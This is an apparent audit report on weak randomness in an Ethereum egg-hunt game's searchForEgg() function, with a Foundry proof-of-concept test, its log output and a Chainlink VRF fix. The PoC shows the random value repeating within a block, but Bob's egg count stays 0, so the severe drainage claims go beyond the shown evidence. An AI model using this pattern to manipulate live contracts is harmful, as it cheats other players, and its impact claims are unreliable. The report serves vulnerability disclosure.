Summary
The EggHuntGame.sol
contract's searchForEgg()
function contains a critical vulnerability in its random number generation mechanism. This flaw allows attackers to reuse fixed random values within the same block, enabling complete manipulation of game outcomes. This is classified as a "Predictable Pseudo-Randomness" high-risk vulnerability that directly compromises the economic fairness of the game.
Vulnerability Details
Root Cause
The random number is generated using:
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
Key Issues
-
Block-Level Constants
-
Static Inputs
-
Test vs. Mainnet Discrepancy
PoC
for better demonstrating, I modified the searchForEgg code in **EggHunterGame.sol **:
function searchForEgg() external returns (uint256) {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
return random;
}
And replace original testSearchForEgg in EggHunterGame.t.sol with this one:
function testSearchForEgg() public {
uint256 duration = 200;
game.startGame(duration);
game.setEggFindThreshold(100);
uint256 previousEggCounter = game.eggCounter();
vm.prank(alice);
game.searchForEgg();
assertEq(game.eggCounter(), previousEggCounter + 1);
assertEq(game.eggsFound(alice), 1);
uint256 tokenId = game.eggCounter();
assertEq(nft.ownerOf(tokenId), alice);
game.endGame();
vm.prank(bob);
vm.expectRevert("Game not active");
game.searchForEgg();
vm.stopPrank();
game.startGame(10000);
console.log("[+] Set Threshold to 80");
game.setEggFindThreshold(80);
console.log("[+] Search for Egg");
vm.prank(bob);
console.log("[+] Bob Egg Count: ", game.eggsFound(bob));
for(uint256 i = 0; i < 100; i++){
console.log("=== Round ", i);
vm.warp(block.timestamp);
uint256 random = game.searchForEgg();
console.log("[+] Random: ", random);
console.log("[+] Bob Egg Count: ", game.eggsFound(bob));
}
game.endGame();
}
run forge test:
forge test --match-test "testSearchForEgg" -vvv
the output is:
web@web-virtual-machine:~/Desktop/Tmp/2025-04-eggstravaganza$ forge test --match-test "testSearchForEgg" -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testSearchForEgg() (gas: 1335217)
Logs:
[+] Set Threshold to 80
[+] Search for Egg
[+] Bob Egg Count: 0
=== Round 0
[+] Random: 73
[+] Bob Egg Count: 0
=== Round 1
[+] Random: 36
[+] Bob Egg Count: 0
=== Round 2
[+] Random: 36
[+] Bob Egg Count: 0
=== Round 3
[+] Random: 78
[+] Bob Egg Count: 0
=== Round 4
[+] Random: 0
[+] Bob Egg Count: 0
=== Round 5
[+] Random: 60
[+] Bob Egg Count: 0
=== Round 6
[+] Random: 27
[+] Bob Egg Count: 0
=== Round 7
[+] Random: 17
[+] Bob Egg Count: 0
=== Round 8
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 9
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 10
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 11
[+] Random: 89
[+] Bob Egg Count: 0
...
=== Round 97
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 98
[+] Random: 89
[+] Bob Egg Count: 0
=== Round 99
[+] Random: 89
[+] Bob Egg Count: 0
you will see that the value of random is constant after several rounds
Impact
(1)For Attackers (Malicious Actors)
Complete game reward drainage through single-block exploitation
Guaranteed NFT minting monopoly when threshold condition is met
Ability to drain all valuable assets from the game economy in one transaction
(2)For Legitimate Participants
Post-attack random values become predictable and fixed (e.g., constant 89 in test results)
Permanent inability to obtain NFT rewards due to manipulated randomness
Complete loss of game fairness and economic viability
Erosion of trust in game mechanics and platform integrity
Tools Used
Foundry
Recommendations
Use Chainlink VRF for true randomness
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract EggHuntGame is VRFConsumerBase {
function searchForEgg() external {
require(LINK.balanceOf(address(this)) >= fee);
requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32, uint256 randomness) internal override {
uint256 random = randomness % 100;
_applyRandomResult(random);
}
}